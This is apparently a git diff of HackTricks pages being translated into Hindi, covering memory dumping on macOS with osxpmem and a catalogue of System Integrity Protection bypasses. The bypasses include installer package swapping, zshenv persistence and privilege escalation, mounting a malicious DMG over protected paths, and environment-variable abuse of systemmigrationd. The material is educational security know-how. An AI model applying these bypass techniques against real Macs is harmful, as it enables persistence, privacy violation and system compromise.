**नोट**: निम्नलिखित निर्देश केवल इंटेल आर्किटेक्चर वाले Macs के लिए काम करेंगे। यह टूल अब संग्रहीत है और अंतिम रिलीज 2017 में हुआ था। नीचे दिए गए निर्देशों का उपयोग करके डाउनलोड किया गया बाइनरी इंटेल चिप्स को लक्षित करता है क्योंकि 2017 में Apple Silicon मौजूद नहीं था। यह संभव है कि arm64 आर्किटेक्चर के लिए बाइनरी कंपाइल करना संभव हो, लेकिन आपको खुद कोशिश करनी पड़ेगी।
|
||||
**Note**: निम्नलिखित निर्देश केवल Intel आर्किटेक्चर वाले Macs के लिए काम करेंगे। यह उपकरण अब आर्काइव किया गया है और अंतिम रिलीज 2017 में थी। नीचे दिए गए निर्देशों का उपयोग करके डाउनलोड की गई बाइनरी Intel चिप्स को लक्षित करती है क्योंकि 2017 में Apple Silicon नहीं था। यह arm64 आर्किटेक्चर के लिए बाइनरी को संकलित करना संभव हो सकता है लेकिन आपको स्वयं प्रयास करना होगा।
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -59,45 +46,36 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
यदि आपको यह त्रुटि मिलती है: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` तो आप इसे निम्नलिखित करके ठीक कर सकते हैं:
|
||||
यदि आप यह त्रुटि पाते हैं: `osxpmem.app/MacPmem.kext लोड करने में विफल - (libkern/kext) प्रमाणीकरण विफलता (फाइल स्वामित्व/अनुमतियाँ); त्रुटियों के लिए सिस्टम/कर्नेल लॉग की जांच करें या kextutil(8) का प्रयास करें` आप इसे ठीक कर सकते हैं:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**अन्य त्रुटियाँ** को "सुरक्षा और गोपनीयता --> सामान्य" में **kext को लोड करने की अनुमति देने** से ठीक किया जा सकता है, बस **अनुमति** दें।
|
||||
**अन्य त्रुटियाँ** को **kext के लोड की अनुमति देकर** ठीक किया जा सकता है "Security & Privacy --> General" में, बस **अनुमति दें**।
|
||||
|
||||
आप इस **वनलाइनर** का उपयोग करके एप्लिकेशन डाउनलोड कर सकते हैं, kext लोड कर सकते हैं और मेमोरी डंप कर सकते हैं:
|
||||
आप इस **oneliner** का उपयोग करके एप्लिकेशन डाउनलोड कर सकते हैं, kext लोड कर सकते हैं और मेमोरी डंप कर सकते हैं:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sudo su
|
||||
cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **क्षति** पहुंचाई गई है या नहीं।
|
||||
|
||||
WhiteIntel का मुख्य उद्देश्य खाता हस्तांतरण और जानकारी चुराने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन ट्राय कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या किसी कंपनी या उसके ग्राहकों को **समझौता** किया गया है **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य जानकारी-चोरी करने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है।
|
||||
|
||||
आप उनकी वेबसाइट पर जा सकते हैं और **फ्री** में उनके इंजन को आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Basic Information**
|
||||
|
||||
**सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP)** macOS में एक तंत्र है जिसे प्रमुख सिस्टम फ़ोल्डरों में अनधिकृत परिवर्तनों को रोकने के लिए डिज़ाइन किया गया है, यहां तक कि सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं से भी। यह सुविधा सिस्टम की अखंडता बनाए रखने में महत्वपूर्ण भूमिका निभाती है, जैसे कि संरक्षित क्षेत्रों में फ़ाइलों को जोड़ना, संशोधित करना या हटाना। SIP द्वारा संरक्षित प्रमुख फ़ोल्डर में शामिल हैं:
|
||||
**System Integrity Protection (SIP)** macOS में एक तंत्र है जो सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं को भी प्रमुख सिस्टम फ़ोल्डरों में अनधिकृत परिवर्तनों से रोकने के लिए डिज़ाइन किया गया है। यह सुविधा सिस्टम की अखंडता बनाए रखने में महत्वपूर्ण भूमिका निभाती है, जैसे कि संरक्षित क्षेत्रों में फ़ाइलों को जोड़ना, संशोधित करना या हटाना। SIP द्वारा संरक्षित प्रमुख फ़ोल्डर में शामिल हैं:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
|
@ -93,8 +80,8 @@ csrutil enable --without debug
|
|||
### अन्य प्रतिबंध
|
||||
|
||||
* **असत्यापित कर्नेल एक्सटेंशन** (kexts) को लोड करने की अनुमति नहीं देता, यह सुनिश्चित करता है कि केवल सत्यापित एक्सटेंशन सिस्टम कर्नेल के साथ इंटरैक्ट करें।
|
||||
* **macOS सिस्टम प्रक्रियाओं** का डिबगिंग रोकता है, जिससे कोर सिस्टम घटकों को अनधिकृत पहुंच और संशोधन से सुरक्षित रखा जाता है।
|
||||
* **dtrace जैसे उपकरणों** को सिस्टम प्रक्रियाओं का निरीक्षण करने से रोकता है, जिससे सिस्टम के संचालन की अखंडता को और अधिक सुरक्षित किया जाता है।
|
||||
* **macOS सिस्टम प्रक्रियाओं** का डिबगिंग रोकता है, अनधिकृत पहुंच और संशोधन से कोर सिस्टम घटकों की सुरक्षा करता है।
|
||||
* **dtrace जैसे उपकरणों** को सिस्टम प्रक्रियाओं का निरीक्षण करने से रोकता है, सिस्टम के संचालन की अखंडता की और सुरक्षा करता है।
|
||||
|
||||
[**इस वार्ता में SIP जानकारी के बारे में अधिक जानें**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**।**
|
||||
|
||||
|
@ -104,7 +91,7 @@ SIP को बायपास करने से एक हमलावर क
|
|||
|
||||
* **उपयोगकर्ता डेटा तक पहुंच**: सभी उपयोगकर्ता खातों से संवेदनशील उपयोगकर्ता डेटा जैसे मेल, संदेश और सफारी इतिहास पढ़ें।
|
||||
* **TCC बायपास**: TCC (Transparency, Consent, and Control) डेटाबेस को सीधे संशोधित करें ताकि वेबकैम, माइक्रोफोन और अन्य संसाधनों तक अनधिकृत पहुंच प्रदान की जा सके।
|
||||
* **स्थायीता स्थापित करें**: SIP-सुरक्षित स्थानों में मैलवेयर रखें, जिससे इसे हटाने के लिए प्रतिरोधी बनाया जा सके, यहां तक कि रूट विशेषाधिकारों द्वारा भी। इसमें मैलवेयर हटाने के उपकरण (MRT) के साथ छेड़छाड़ करने की संभावना भी शामिल है।
|
||||
* **स्थायीता स्थापित करें**: SIP-सुरक्षित स्थानों में मैलवेयर रखें, इसे हटाने के लिए प्रतिरोधी बनाते हुए, यहां तक कि रूट विशेषाधिकारों द्वारा भी। इसमें मैलवेयर हटाने के उपकरण (MRT) के साथ छेड़छाड़ करने की संभावना भी शामिल है।
|
||||
* **कर्नेल एक्सटेंशन लोड करें**: हालांकि अतिरिक्त सुरक्षा उपाय हैं, SIP को बायपास करना असत्यापित कर्नेल एक्सटेंशन लोड करने की प्रक्रिया को सरल बनाता है।
|
||||
|
||||
### इंस्टॉलर पैकेज
|
||||
|
@ -113,7 +100,7 @@ SIP को बायपास करने से एक हमलावर क
|
|||
|
||||
### अस्तित्वहीन SIP फ़ाइल
|
||||
|
||||
एक संभावित छिद्र यह है कि यदि **`rootless.conf` में एक फ़ाइल निर्दिष्ट की गई है लेकिन वर्तमान में मौजूद नहीं है**, तो इसे बनाया जा सकता है। मैलवेयर इसका लाभ उठाकर **सिस्टम पर स्थायीता स्थापित** कर सकता है। उदाहरण के लिए, एक दुर्भावनापूर्ण प्रोग्राम `/System/Library/LaunchDaemons` में एक .plist फ़ाइल बना सकता है यदि यह `rootless.conf` में सूचीबद्ध है लेकिन मौजूद नहीं है।
|
||||
एक संभावित छिद्र यह है कि यदि एक फ़ाइल **`rootless.conf` में निर्दिष्ट है लेकिन वर्तमान में मौजूद नहीं है**, तो इसे बनाया जा सकता है। मैलवेयर इसका लाभ उठाकर **सिस्टम पर स्थायीता स्थापित** कर सकता है। उदाहरण के लिए, एक दुर्भावनापूर्ण प्रोग्राम `/System/Library/LaunchDaemons` में एक .plist फ़ाइल बना सकता है यदि यह `rootless.conf` में सूचीबद्ध है लेकिन मौजूद नहीं है।
|
||||
|
||||
### com.apple.rootless.install.heritable
|
||||
|
||||
|
@ -123,7 +110,7 @@ SIP को बायपास करने से एक हमलावर क
|
|||
|
||||
#### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a>
|
||||
|
||||
यह पाया गया कि **सिस्टम द्वारा इसके कोड** हस्ताक्षर की पुष्टि करने के बाद इंस्टॉलर पैकेज को **स्वैप करना संभव था** और फिर, सिस्टम मूल के बजाय दुर्भावनापूर्ण पैकेज स्थापित करेगा। चूंकि ये क्रियाएँ **`system_installd`** द्वारा की गई थीं, यह SIP को बायपास करने की अनुमति देगा।
|
||||
यह पता चला कि **सिस्टम द्वारा इसके कोड** हस्ताक्षर की पुष्टि करने के बाद इंस्टॉलर पैकेज को **स्वैप करना संभव था** और फिर, सिस्टम मूल पैकेज के बजाय दुर्भावनापूर्ण पैकेज स्थापित करेगा। चूंकि ये क्रियाएँ **`system_installd`** द्वारा की गई थीं, यह SIP को बायपास करने की अनुमति देगा।
|
||||
|
||||
#### [CVE-2020–9854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
|
||||
|
||||
|
@ -135,13 +122,13 @@ SIP को बायपास करने से एक हमलावर क
|
|||
|
||||
**`system_installd`** डेमन उन पैकेजों को स्थापित करेगा जो **Apple** द्वारा हस्ताक्षरित हैं।
|
||||
|
||||
शोधकर्ताओं ने पाया कि Apple द्वारा हस्ताक्षरित पैकेज (.pkg फ़ाइल) की स्थापना के दौरान, **`system_installd`** पैकेज में शामिल किसी भी **पोस्ट-इंस्टॉल** स्क्रिप्ट को **चलाता है**। ये स्क्रिप्ट डिफ़ॉल्ट शेल, **`zsh`** द्वारा निष्पादित की जाती हैं, जो स्वचालित रूप से **`/etc/zshenv`** फ़ाइल से कमांड चलाती है, यदि यह मौजूद है, यहां तक कि गैर-इंटरैक्टिव मोड में भी। इस व्यवहार का उपयोग हमलावरों द्वारा किया जा सकता है: एक दुर्भावनापूर्ण `/etc/zshenv` फ़ाइल बनाकर और **`system_installd` को `zsh`** को सक्रिय करने की प्रतीक्षा करके, वे डिवाइस पर मनमाने ऑपरेशन कर सकते हैं।
|
||||
शोधकर्ताओं ने पाया कि Apple-साइन किए गए पैकेज (.pkg फ़ाइल) की स्थापना के दौरान, **`system_installd`** पैकेज में शामिल किसी भी **पोस्ट-इंस्टॉल** स्क्रिप्ट को **चलाता है**। ये स्क्रिप्ट डिफ़ॉल्ट शेल, **`zsh`** द्वारा निष्पादित की जाती हैं, जो स्वचालित रूप से **`/etc/zshenv`** फ़ाइल से आदेश चलाती है, यदि यह मौजूद है, यहां तक कि गैर-इंटरएक्टिव मोड में भी। इस व्यवहार का उपयोग हमलावरों द्वारा किया जा सकता है: एक दुर्भावनापूर्ण `/etc/zshenv` फ़ाइल बनाकर और **`system_installd` के `zsh` को सक्रिय करने की प्रतीक्षा करके**, वे डिवाइस पर मनमाने ऑपरेशन कर सकते हैं।
|
||||
|
||||
इसके अलावा, यह पाया गया कि **`/etc/zshenv` को एक सामान्य हमले की तकनीक के रूप में उपयोग किया जा सकता है**, न कि केवल SIP बायपास के लिए। प्रत्येक उपयोगकर्ता प्रोफ़ाइल में एक `~/.zshenv` फ़ाइल होती है, जो `/etc/zshenv` की तरह व्यवहार करती है लेकिन रूट अनुमतियों की आवश्यकता नहीं होती। इस फ़ाइल का उपयोग एक स्थायीता तंत्र के रूप में किया जा सकता है, जो हर बार `zsh` शुरू होने पर ट्रिगर होता है, या विशेषाधिकार बढ़ाने के तंत्र के रूप में। यदि एक व्यवस्थापक उपयोगकर्ता `sudo -s` या `sudo <command>` का उपयोग करके रूट में बढ़ता है, तो `~/.zshenv` फ़ाइल ट्रिगर होगी, प्रभावी रूप से रूट में बढ़ते हुए।
|
||||
इसके अलावा, यह पता चला कि **`/etc/zshenv` को एक सामान्य हमले की तकनीक के रूप में उपयोग किया जा सकता है**, न कि केवल SIP बायपास के लिए। प्रत्येक उपयोगकर्ता प्रोफ़ाइल में एक `~/.zshenv` फ़ाइल होती है, जो `/etc/zshenv` की तरह व्यवहार करती है लेकिन रूट अनुमतियों की आवश्यकता नहीं होती। इस फ़ाइल का उपयोग एक स्थायीता तंत्र के रूप में किया जा सकता है, जो हर बार `zsh` शुरू होने पर ट्रिगर होता है, या विशेषाधिकार बढ़ाने के तंत्र के रूप में। यदि एक व्यवस्थापक उपयोगकर्ता `sudo -s` या `sudo <command>` का उपयोग करके रूट में बढ़ता है, तो `~/.zshenv` फ़ाइल ट्रिगर होगी, प्रभावी रूप से रूट में बढ़ते हुए।
|
||||
|
||||
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
|
||||
|
||||
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) में यह पाया गया कि वही **`system_installd`** प्रक्रिया अभी भी दुरुपयोग की जा सकती है क्योंकि यह **`/tmp` के अंदर SIP द्वारा संरक्षित एक यादृच्छिक नामित फ़ोल्डर के अंदर पोस्ट-इंस्टॉल स्क्रिप्ट डाल रही थी**। बात यह है कि **`/tmp` स्वयं SIP द्वारा संरक्षित नहीं है**, इसलिए एक **वर्चुअल इमेज को उस पर माउंट** करना संभव था, फिर **इंस्टॉलर** वहां **पोस्ट-इंस्टॉल स्क्रिप्ट** डालता, **वर्चुअल इमेज को अनमाउंट** करता, **सभी फ़ोल्डरों को फिर से बनाता** और **पेलोड** के साथ **पोस्ट इंस्टॉलेशन** स्क्रिप्ट को जोड़ता।
|
||||
[**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) में यह पता चला कि वही **`system_installd`** प्रक्रिया अभी भी दुरुपयोग की जा सकती है क्योंकि यह **`/tmp` के अंदर SIP द्वारा संरक्षित एक यादृच्छिक नामित फ़ोल्डर के अंदर पोस्ट-इंस्टॉल स्क्रिप्ट डाल रही थी**। बात यह है कि **`/tmp` स्वयं SIP द्वारा संरक्षित नहीं है**, इसलिए एक **वर्चुअल इमेज को उस पर माउंट** करना संभव था, फिर **इंस्टॉलर** वहां **पोस्ट-इंस्टॉल स्क्रिप्ट** डालता, **वर्चुअल इमेज को अनमाउंट** करता, **सभी फ़ोल्डरों को फिर से बनाता** और **पेलोड के साथ पोस्ट इंस्टॉलेशन** स्क्रिप्ट को निष्पादित करने के लिए जोड़ता।
|
||||
|
||||
#### [fsck\_cs उपयोगिता](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
|
@ -171,49 +158,49 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
|||
```bash
|
||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||
```
|
||||
The security of this process can be compromised if an attacker alters the upgrade image (`InstallESD.dmg`) before booting. The strategy involves substituting a dynamic loader (dyld) with a malicious version (`libBaseIA.dylib`). This replacement results in the execution of the attacker's code when the installer is initiated.
|
||||
इस प्रक्रिया की सुरक्षा को खतरा हो सकता है यदि एक हमलावर बूट करने से पहले अपग्रेड इमेज (`InstallESD.dmg`) को बदलता है। रणनीति में एक डायनामिक लोडर (dyld) को एक दुर्भावनापूर्ण संस्करण (`libBaseIA.dylib`) के साथ प्रतिस्थापित करना शामिल है। यह प्रतिस्थापन तब होता है जब इंस्टॉलर शुरू होता है, हमलावर के कोड का निष्पादन होता है।
|
||||
|
||||
The attacker's code gains control during the upgrade process, exploiting the system's trust in the installer. The attack proceeds by altering the `InstallESD.dmg` image via method swizzling, particularly targeting the `extractBootBits` method. This allows the injection of malicious code before the disk image is employed.
|
||||
हमलावर का कोड अपग्रेड प्रक्रिया के दौरान नियंत्रण प्राप्त करता है, इंस्टॉलर पर सिस्टम के विश्वास का लाभ उठाते हुए। हमला `InstallESD.dmg` इमेज को मेथड स्विज़लिंग के माध्यम से बदलने के द्वारा आगे बढ़ता है, विशेष रूप से `extractBootBits` मेथड को लक्षित करता है। इससे डिस्क इमेज का उपयोग करने से पहले दुर्भावनापूर्ण कोड का इंजेक्शन संभव हो जाता है।
|
||||
|
||||
Moreover, within the `InstallESD.dmg`, there's a `BaseSystem.dmg`, which serves as the upgrade code's root file system. Injecting a dynamic library into this allows the malicious code to operate within a process capable of altering OS-level files, significantly increasing the potential for system compromise.
|
||||
इसके अलावा, `InstallESD.dmg` के भीतर, एक `BaseSystem.dmg` है, जो अपग्रेड कोड की रूट फ़ाइल प्रणाली के रूप में कार्य करता है। इसमें डायनामिक लाइब्रेरी का इंजेक्शन करने से दुर्भावनापूर्ण कोड एक ऐसे प्रक्रिया के भीतर कार्य कर सकता है जो OS-स्तरीय फ़ाइलों को बदलने में सक्षम है, जिससे सिस्टम के समझौते की संभावना काफी बढ़ जाती है।
|
||||
|
||||
#### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
|
||||
|
||||
In this talk from [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), it's shown how **`systemmigrationd`** (which can bypass SIP) executes a **bash** and a **perl** script, which can be abused via env variables **`BASH_ENV`** and **`PERL5OPT`**.
|
||||
[**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk) से इस वार्ता में दिखाया गया है कि **`systemmigrationd`** (जो SIP को बायपास कर सकता है) एक **bash** और एक **perl** स्क्रिप्ट को निष्पादित करता है, जिसे env वेरिएबल **`BASH_ENV`** और **`PERL5OPT`** के माध्यम से दुरुपयोग किया जा सकता है।
|
||||
|
||||
#### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
|
||||
|
||||
As [**detailed in this blog post**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), a `postinstall` script from `InstallAssistant.pkg` packages allowed was executing:
|
||||
जैसा कि [**इस ब्लॉग पोस्ट में विस्तृत किया गया है**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), `InstallAssistant.pkg` पैकेज से एक `postinstall` स्क्रिप्ट निष्पादित हो रही थी:
|
||||
```bash
|
||||
/usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
|
||||
```
|
||||
and it was possible to crate a symlink in `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` that would allow a user to **unrestrict any file, bypassing SIP protection**.
|
||||
and यह संभव था कि `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` में एक symlink बनाया जाए जो एक उपयोगकर्ता को **किसी भी फ़ाइल को अनरिस्ट्रिक्ट करने की अनुमति देता है, SIP सुरक्षा को बायपास करते हुए**।
|
||||
|
||||
### **com.apple.rootless.install**
|
||||
|
||||
{% hint style="danger" %}
|
||||
The entitlement **`com.apple.rootless.install`** allows to bypass SIP
|
||||
अधिकार **`com.apple.rootless.install`** SIP को बायपास करने की अनुमति देता है
|
||||
{% endhint %}
|
||||
|
||||
The entitlement `com.apple.rootless.install` is known to bypass System Integrity Protection (SIP) on macOS. This was notably mentioned in relation to [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
|
||||
अधिकार `com.apple.rootless.install` macOS पर सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP) को बायपास करने के लिए जाना जाता है। इसका उल्लेख विशेष रूप से [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) के संबंध में किया गया था।
|
||||
|
||||
In this specific case, the system XPC service located at `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` possesses this entitlement. This allows the related process to circumvent SIP constraints. Furthermore, this service notably presents a method that permits the movement of files without enforcing any security measures.
|
||||
इस विशेष मामले में, `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` पर स्थित सिस्टम XPC सेवा के पास यह अधिकार है। यह संबंधित प्रक्रिया को SIP प्रतिबंधों को दरकिनार करने की अनुमति देता है। इसके अलावा, यह सेवा विशेष रूप से एक विधि प्रस्तुत करती है जो बिना किसी सुरक्षा उपायों को लागू किए फ़ाइलों को स्थानांतरित करने की अनुमति देती है।
|
||||
|
||||
## Sealed System Snapshots
|
||||
## सील किए गए सिस्टम स्नैपशॉट
|
||||
|
||||
Sealed System Snapshots are a feature introduced by Apple in **macOS Big Sur (macOS 11)** as a part of its **System Integrity Protection (SIP)** mechanism to provide an additional layer of security and system stability. They are essentially read-only versions of the system volume.
|
||||
सील किए गए सिस्टम स्नैपशॉट एक विशेषता है जिसे Apple ने **macOS Big Sur (macOS 11)** में **सिस्टम इंटीग्रिटी प्रोटेक्शन (SIP)** तंत्र के हिस्से के रूप में सुरक्षा और सिस्टम स्थिरता की एक अतिरिक्त परत प्रदान करने के लिए पेश किया है। ये मूल रूप से सिस्टम वॉल्यूम के केवल पढ़ने योग्य संस्करण हैं।
|
||||
|
||||
Here's a more detailed look:
|
||||
यहाँ एक अधिक विस्तृत नज़र है:
|
||||
|
||||
1. **Immutable System**: Sealed System Snapshots make the macOS system volume "immutable", meaning that it cannot be modified. This prevents any unauthorised or accidental changes to the system that could compromise security or system stability.
|
||||
2. **System Software Updates**: When you install macOS updates or upgrades, macOS creates a new system snapshot. The macOS startup volume then uses **APFS (Apple File System)** to switch to this new snapshot. The entire process of applying updates becomes safer and more reliable as the system can always revert to the previous snapshot if something goes wrong during the update.
|
||||
3. **Data Separation**: In conjunction with the concept of Data and System volume separation introduced in macOS Catalina, the Sealed System Snapshot feature makes sure that all your data and settings are stored on a separate "**Data**" volume. This separation makes your data independent from the system, which simplifies the process of system updates and enhances system security.
|
||||
1. **अपरिवर्तनीय सिस्टम**: सील किए गए सिस्टम स्नैपशॉट macOS सिस्टम वॉल्यूम को "अपरिवर्तनीय" बनाते हैं, जिसका अर्थ है कि इसे संशोधित नहीं किया जा सकता। यह सुरक्षा या सिस्टम स्थिरता को खतरे में डालने वाले किसी भी अनधिकृत या आकस्मिक परिवर्तनों को रोकता है।
|
||||
2. **सिस्टम सॉफ़्टवेयर अपडेट**: जब आप macOS अपडेट या अपग्रेड स्थापित करते हैं, तो macOS एक नया सिस्टम स्नैपशॉट बनाता है। फिर macOS स्टार्टअप वॉल्यूम इस नए स्नैपशॉट पर स्विच करने के लिए **APFS (Apple File System)** का उपयोग करता है। अपडेट लागू करने की पूरी प्रक्रिया अधिक सुरक्षित और विश्वसनीय हो जाती है क्योंकि यदि अपडेट के दौरान कुछ गलत होता है, तो सिस्टम हमेशा पिछले स्नैपशॉट पर वापस लौट सकता है।
|
||||
3. **डेटा पृथक्करण**: macOS कैटालिना में पेश किए गए डेटा और सिस्टम वॉल्यूम पृथक्करण के सिद्धांत के साथ, सील किए गए सिस्टम स्नैपशॉट सुविधा सुनिश्चित करती है कि आपके सभी डेटा और सेटिंग्स एक अलग "**डेटा**" वॉल्यूम पर संग्रहीत हैं। यह पृथक्करण आपके डेटा को सिस्टम से स्वतंत्र बनाता है, जो सिस्टम अपडेट की प्रक्रिया को सरल बनाता है और सिस्टम सुरक्षा को बढ़ाता है।
|
||||
|
||||
Remember that these snapshots are automatically managed by macOS and don't take up additional space on your disk, thanks to the space sharing capabilities of APFS. It’s also important to note that these snapshots are different from **Time Machine snapshots**, which are user-accessible backups of the entire system.
|
||||
याद रखें कि ये स्नैपशॉट macOS द्वारा स्वचालित रूप से प्रबंधित होते हैं और आपके डिस्क पर अतिरिक्त स्थान नहीं लेते हैं, APFS की स्थान साझा करने की क्षमताओं के लिए धन्यवाद। यह भी महत्वपूर्ण है कि ये स्नैपशॉट **टाइम मशीन स्नैपशॉट** से भिन्न होते हैं, जो पूरे सिस्टम के उपयोगकर्ता-सुलभ बैकअप होते हैं।
|
||||
|
||||
### Check Snapshots
|
||||
### स्नैपशॉट की जांच करें
|
||||
|
||||
The command **`diskutil apfs list`** lists the **details of the APFS volumes** and their layout:
|
||||
कमांड **`diskutil apfs list`** **APFS वॉल्यूम के विवरण** और उनके लेआउट को सूचीबद्ध करता है:
|
||||
|
||||
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
|
||||
| ====================================================
|
||||
|
@ -252,42 +239,31 @@ The command **`diskutil apfs list`** lists the **details of the APFS volumes** a
|
|||
| FileVault: Yes (Unlocked)
|
||||
</code></pre>
|
||||
|
||||
In the previous output it's possible to see that **user-accessible locations** are mounted under `/System/Volumes/Data`.
|
||||
पिछले आउटपुट में यह देखना संभव है कि **उपयोगकर्ता-सुलभ स्थान** `/System/Volumes/Data` के तहत माउंट किए गए हैं।
|
||||
|
||||
Moreover, **macOS System volume snapshot** is mounted in `/` and it's **sealed** (cryptographically signed by the OS). So, if SIP is bypassed and modifies it, the **OS won't boot anymore**.
|
||||
